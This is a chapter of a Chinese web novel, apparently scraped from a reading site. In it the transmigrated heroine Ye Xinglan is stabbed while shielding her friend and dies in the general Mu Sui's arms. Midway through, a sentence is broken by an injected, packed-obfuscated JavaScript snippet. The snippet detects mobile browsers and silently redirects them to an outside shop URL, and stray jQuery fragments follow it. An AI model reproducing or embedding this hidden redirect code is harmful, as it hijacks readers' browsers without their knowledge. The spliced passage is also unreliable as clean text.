79. 将死之人

作品:《假千金已送达,无法拒收!

    穆随站在亮处,他们则躲在暗处。又有门板挡住,穆随若不往前,绝不可能发现巷子深处还有人。


    旁边的人不敢轻举妄动,唯恐引人上前。她的手脚和嘴全都被人箍住,叶星澜大脑飞快运转着,发觉自己的脖间便是身后男人握着的短刀,她飞快侧头,让发髻间的簪子不偏不倚地撞向刀面。


    “叮——”


    银制具器相撞,发出清脆声响。声音传至穆随耳边,他下意识拔出腰间长剑,阔步踩上挡路的门板。


    巷子深处,两位身高体壮的男人持刀将女子困在原地,尽管男人的手掌遮住了大半张脸,但穆随还是认出眼前人便是他日思夜想,苦苦寻找的心上人。


    站在叶星澜身前的男子自知逃不掉,立刻提刀发起进攻。


    刀剑相撞的刹那,连风雪都为之屏息。


    穆随眉眼狠戾,好似一头彻底被激怒的雄狮。


    而站在叶星澜身后的男子握着的刀则更加抵进她的皮肤,冲武功远高于他们的穆随喊道:“你若再靠近,我便杀了她!”


    叶星澜脖侧一凉,似有冰冷的液体顺着刀面流下,打湿了衣领。


    穆随攻势虽猛,但目光却始终留意着被男人挟持的女子。他看清那刀面折射微光下有一缕猩红,当即慢下挥剑的动作。


    他分心了,手背便被无情的短刀扎进又拔出。唯恐男子会杀之泄愤,他只好咬牙弃剑,空拳防守。


    没了兵器又受了伤,很快就落了下风。赤手空拳,以一敌二实在困难,于是趁俯腰侧身躲刀时,捏着手指在唇边吹了记响哨。


    先前以为巷内是野狗乱跑的方临决未走远,听见这不同寻常的哨声,立刻拔刀寻声而去。


    与此同时,坐在厅内的晏微不知为何惴惴不安,于是带了三两仆人提着灯走出府邸,也去那巷子查看清楚。


    一时间,巷子深处刀光剑影,杀机四溢。


    有方临决帮忙,叶星澜很快就视线明亮,见男子挥刀要挡方临决长刀,她立刻抬脚踩住男人的脚尖。


    方临决的长刀几乎是擦着她的脸颊刺向身后人,叶星澜来不及感慨他的武艺,立刻从男人的束缚中挣脱出来,捏着拳头跳到一旁。


    远远瞧见巷口站着不住看向她的晏微,左躲右闪,时不时回头观察局势,好不容易跑到晏微面前。


    晏微用帕子捂住她脖子上血迹未干的伤口,拉着她,眉头紧拧:“快走!”


    两绑匪见人还是从眼皮子底下溜走了,立即和对方交换了一个眼神,欲要逃之夭夭。


    岂容他们逃脱,穆随见状,拾起地上的长剑,步步紧追。


    哪知已奔出几米远的绑匪,面上杀意一闪,竟将手中那柄已然沾了血的短刀,朝着远处猛地丢掷出。


    飞驰的短刀穿透寒风,划出道道尖啸声,速度快得只剩一抹旋转的残影。


    拉住晏微脚步不停的叶星澜回头也注意到这把短刀正朝这边飞来。


    尚未察觉的晏微只觉身子猛然失了力气,身体止不住地往侧方仰倒。


    穆随见状,身形如电折返,冲向叶星澜,伸手要去抓那匕首。


    尖锐的刀锋擦过他的指尖,只是激起一股冰凉刺骨的寒意,别无其他。


    “哧——”


    一声极轻、却又无比清晰的利刃入肉声在叶星澜的颅内响起。


    她的大脑一片空白,垂眸呆呆地望着这把不偏不倚扎进她心口的短刀。月光下,鲜血在她的衣裙上洇开一朵艳丽、近乎糜烂的花,触目惊心。


    她看见穆随扑向自己,听见他发出一声似野兽的嘶吼。


    她却使不上一点力气,喉管像是被一只手死死扼住,喘息不得,丝丝缕缕的水液涌动,又从唇边流出。


    不断有火光跃进视线中,耳边是嘈杂的人声和脚步声。她依稀看见穆随亦颤抖着血肉模糊的手捂住她的心口。心脏开始疼了起来,犹如千万只虫蚁在啃咬,求死不得而苦苦承受。


    穆随将人抱起,往府里跑,又怕怀里的人下一秒就会没有生气,不住低头颤声叫道:“千万不能睡!太医就来了,千万不能睡!睁开眼睛,阿星——”


    前所未有的恐惧像连绵不断的雪沫,穆随紧紧抱着怀里的人,一遍遍唤着她的名字,嗓音破碎不成调。


    又回到熟悉的屋子,一群熟悉的面孔纷纷围在眼前。叶星澜总觉得一切都像梦,不真实,又无比真实。


    屋内亮如白昼,可弥漫在每一寸空气里,浓重的血腥气和伤感都令人窒息。


    炭盆烧得旺,噼啪作响,可依偎在将军怀里的人儿面无血色,唇瓣上最后一点红也淡去,只剩下一抹濒死的青白。


    穆随全然忘记自己的手亦被利刃穿透,执意要亲自为她上药,每一个动作都小心翼翼。他不断她的名字,“阿星,看着我,太医就来了,你不会死的......”


    她的手冰冷,无论穆随如何用力揉搓,放在唇边呵气,紧紧捂在怀里,依旧冰冷。


    “来了!太医来了!”


    高声引得众人纷纷侧身让位。


    两位鬓角发白、穿着太医官服的老者急步上前,身上皆带着风雪的寒气,脸色同样凝重无比。


    穆随将人放平在榻上,踉跄着身子给人让位。


    两位太医放下药箱,轮流上前诊脉,查看伤口。太医一手托住沾满药粉的白帕,一手虚握着刀柄,神色紧张地望向他:“将军,若拔刀时,夫人一口气喘不上来,恐怕会当场……”


    穆随见过太多诸如此类的伤情,更清楚没有谁心口中刀还能活下来。可不拔,一点生的机会都没有。


    最后,他还是握拳同意了太医的做法。


    眼看着一位太医按住奄奄一息之人的上半身,另一位太医则握住刀柄,屋内众人纷纷屏住气息。


    当猩红锋利的刀面完全拔出时,面色苍白的人不住仰脖抽泣一声,鲜血同时涌了出来,飞溅开。


    守在床边,紧握着她脆弱的手指的穆随咬住牙,见刀拔出后她彻底昏了过去,他仿佛也被抽走灵魂一般。


    两位太医赶忙用帕子按住伤口,好一会儿才止住血。


    又过了许久,太医们对视一眼,眼中尽是无奈。稍年轻的一位太医后退一步,撩起官袍下摆,扑通一声跪了下来,俯身叩首道:“将军......恕老臣无能......”


    “你什么意思!”声音从齿间挤出,穆随瞪大双眼,颤着肩膀嚷道,“什么叫无能!你们是宫里最好的太医,怎么会无能!你赶紧给她用药,用最好的药!”


    另一位太医跟着跪下,声音悲戚:“将军息怒!实在是这一刀太深,不仅破肉穿骨,更损心脉根本。如今夫人气血衰败已极,五脏皆受其累。夫人她,已是......已是油尽灯枯之象。”


    “夫人脉象如游丝,时有时无,全靠一股意念强撑.....依老臣愚见,或许......或许还能有三五时辰......”


    话落,满目凄凉,一度欢快洋溢的屋子此时被死寂的阴影下笼罩住。


    穆随望着那双曾明亮如星的眼眸,此刻紧闭着,长睫在苍白的脸颊上投下的阴影,瞬间失去所有理智。


    “不会的。”他挣开搀住他的一双手,又扑回榻边,小心翼翼地握住冰冷的手,声音哽咽如稚童在求助,“和离书被我烧了,你不能死。死后要冠我的名,你不是最讨厌吗。你睁开眼......”


    滚烫的泪水从铁血男儿通红的眼眶中翻涌而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086795|184822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出,落在毫无知觉的手背上,再次打湿早沾上血的衣袖。


    不知过了多久,只知凄凄的哭声和低低的祷告声不绝于耳,叶星澜吃力地眨了眨眼皮,蜷了蜷手指,被人握得更紧。


    “晏微......她还好吗?”她动不了,因此看不见除了穆随以外的人。


    穆随透过模糊的泪眼应她:“她很好。”心里却怪她不该帮人挡那一刀。这一刀太重了,不仅是她承受不住,他也几乎要心痛而死。


    知道晏微没事,叶星澜方才觉得身体松快了些。勉强看清那张被血泪模糊的脸,心里又放心不下了。她虚张着唇,劝道:“你的手伤得很重,让太医给看看吧,你是武将,日后......”


    “我没事。”穆随摇头,两手握住她更紧,仿佛他才是濒死之人,正握紧最后的希望。


    叶星澜从他的掌间感受到源源不断的暖意,也从他的神情中知道自己命不久矣,并很快就接受了她与这个世界再无瓜葛的事实。


    她道:“我......我要死了。”


    死了,也真的就回去了。


    她的嘴角噙着一丝笑意:“我有一个秘密,告诉你。”


    她说时,嘴角又流出血,穆随赶忙伸手去擦,边点头。


    众人见此情形,纵有万般不舍还是压着步子退了出去。


    屋外大雪纷飞,冷风呼啸。众人皆知今年已然走到头了。有人开始毫无顾忌地纵声痛哭,有人扶着同样泪流满面的人满口懊悔,有人则守在门外低声啜泣……


    待屋子里只剩两人后,叶星澜捏了捏穆随宽厚的手掌,应是心有灵犀,穆随将那只没有受伤的手掌摊开。


    叶星澜的指尖落在他的掌心,慢慢游移着:“我有名字,我叫叶星澜。星辰璀璨,星河壮阔。”


    “星澜......叶星澜。我记住了。”穆随每点一次头,便有几滴泪洒向她的手背。


    头一回在这个世界听见别人叫自己的名字,浓烈的不真实感再次将她包裹住,方才还疼痛不已的心脏仿佛偃旗息鼓一般,心跳慢慢变得平缓。


    她笑了笑:“穆随......如果我们有缘分,在另一个世界也会相遇的。”


    “没有另一个世界。我要你活着,你活着我们才有以后。”


    他还是不愿接受事实,坐在床沿将她搂在自己的怀里,视线一刻也不从她的脸上移开。


    叶星澜叹了口气,又咳出一汪血水,见他拿帕子的手抖得过分,于是握住他的手,不要他擦脸。


    她用尽力气抬手去抹他眼角的泪,吐气道:“有另一个世界的,你相信我......我要回去了。你不要怕。”


    “我不答应!我不准——”


    恍惚间,想起从前受到热议的问题:死在爱人之前更痛苦,还是爱人先死更痛苦。


    从前她认为生死不由人,先死还是后死都一样痛苦可怜。


    可如今看着穆随伤心欲绝的样子,心脏又开始又酸又痛。她恨不得他才是那个穿越而来的人,至少原来的世界同样有更多割舍不掉的、值得期待的人和事,悲伤会被冲淡或掩盖住。


    眼皮越来越沉重,面前泪人的面庞越来越模糊,叶星澜仍牵挂着他,尤其当他的轻吻落在她的眉心时,她努力睁开欲要阖上的眼皮,努力去看他的眼睛,努力记住他的模样。


    他狼狈又沧桑,可看向她的目光是那么的纯粹干净。


    穆随是该高坐在马背上,受万民欢呼喝彩,因而更显春风得意,英姿飒爽的将军。


    叶星澜用尽最后一丝力气,仰起下巴,嘴唇贴上他颤抖的唇,喃喃道:“我不会忘记你。”


    顷刻间,视野一片白茫茫,耳边撕心裂肺的哭声彻底消散。